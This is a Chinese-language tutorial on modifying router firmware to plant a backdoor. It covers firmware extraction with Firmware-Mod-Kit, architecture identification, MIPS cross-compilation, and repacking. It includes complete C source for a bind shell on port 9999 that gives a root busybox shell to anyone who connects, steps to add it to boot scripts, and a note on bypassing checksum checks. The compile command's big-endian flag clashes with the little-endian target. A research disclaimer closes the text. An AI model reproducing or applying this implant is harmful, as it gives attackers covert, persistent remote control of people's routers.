路由器篡改固件添加后门
字数 1266 2025-08-18 11:39:30
路由器固件篡改与后门植入技术详解
0x01 前言
本教程详细介绍了如何对路由器固件进行篡改并植入后门的技术流程。主要内容包括固件提取、架构分析、后门程序编译以及重新打包等关键步骤。该技术基于Firmadyne固件仿真环境和Firmware-Mod-Kit工具集实现。
0x02 固件提取
FMK工具简介
Firmware-Mod-Kit(FMK)是一套用于固件修改的工具集,主要功能包括:
- 从固件中提取文件系统
- 修改提取的文件系统内容
- 将修改后的文件系统重新打包为新的固件
安装FMK
git clone --recursive https://github.com/attify/firmware-analysis-toolkit.git
提取固件文件系统
使用extract-firmware.sh脚本提取固件:
./extract-firmware.sh 固件包名称
提取完成后会生成以下目录结构:
image_parts:存放固件的各个组成部分logs:提取过程的日志文件rootfs:完整的文件系统(主要修改目标)
0x03 处理器架构分析
常见架构类型
-
ARM架构
- 32位精简指令集(RISC)
- 特点:体积小、低功耗、低成本、高性能
- 支持Thumb(16位)/ARM(32位)双指令集
- 大量使用寄存器,指令执行速度更快
-
MIPS架构
- 精简指令集(RISC)处理器架构
- 特点:大量寄存器、可视的管道延时时隙
- 提供高性能和低能耗
- 分为大端序和小端序两种
-
X86架构
- 复杂指令集(CISC)架构
- PC主流架构
- 指令顺序串行执行
确定固件架构
使用readelf命令查看固件架构:
readelf -h busybox # 使用rootfs中的任意文件
示例输出可能显示为"MIPS (little endian)",表示小端序MIPS架构。
0x04 后门程序编译
后门程序源码
以下是一个针对MIPS小端架构的后门程序示例(C语言):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to Bind Shell\n";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
struct sockaddr_in server, client;
socklen_t len;
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);
while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client,&len);
server_pid = fork();
if (server_pid) {
write(clientfd, banner, strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/busybox", args, (char *) 0);
close(clientfd);
}
close(clientfd);
}
return 0;
}
MIPS交叉编译环境搭建
- 安装依赖库:
sudo apt-get update
sudo apt-get install libncurses5-dev patch
- 下载Buildroot源码:
git clone https://github.com/buildroot/buildroot.git
- 配置编译环境:
make menuconfig
在配置界面中选择:
- Target Architecture → MIPS (little endian)
- Target Architecture Variant → Generic MIPS32
- 编译工具链:
make
编译完成后,交叉编译器位于:
buildroot/output/host/usr/bin/mipsel-linux-gcc
编译后门程序
使用MIPS交叉编译器编译后门程序:
mipsel-linux-gcc bindshell.c -o bindshell -static -EB -march=24kc
0x05 植入后门
-
放置后门二进制文件
将编译好的bindshell程序放入文件系统的合适位置,例如:/rootfs/etc/templates/bindshell -
设置自启动
修改系统启动脚本(如/etc/scripts/system.sh),添加以下内容:/etc/templates/bindshell &
0x06 重新打包固件
使用FMK的build-firmware.sh脚本将修改后的文件系统重新打包:
./build-firmware.sh
注意事项:
- 测试固件版本是否有签名验证机制
- 初学者建议选择防护性较差的低版本固件进行练习
- 某些固件可能包含校验值验证,需要绕过这些保护机制
0x07 参考资料
- MIPS架构详解
- Buildroot使用指南
- 路由器安全研究
- 《揭秘家用路由器0day漏洞挖掘技术》
- 《IOT_PENETRATION》
安全声明
本教程仅用于安全研究和教育目的。未经授权对他人设备进行修改是违法行为。在实际应用中,请确保遵守所有适用的法律法规,并获得设备所有者的明确许可。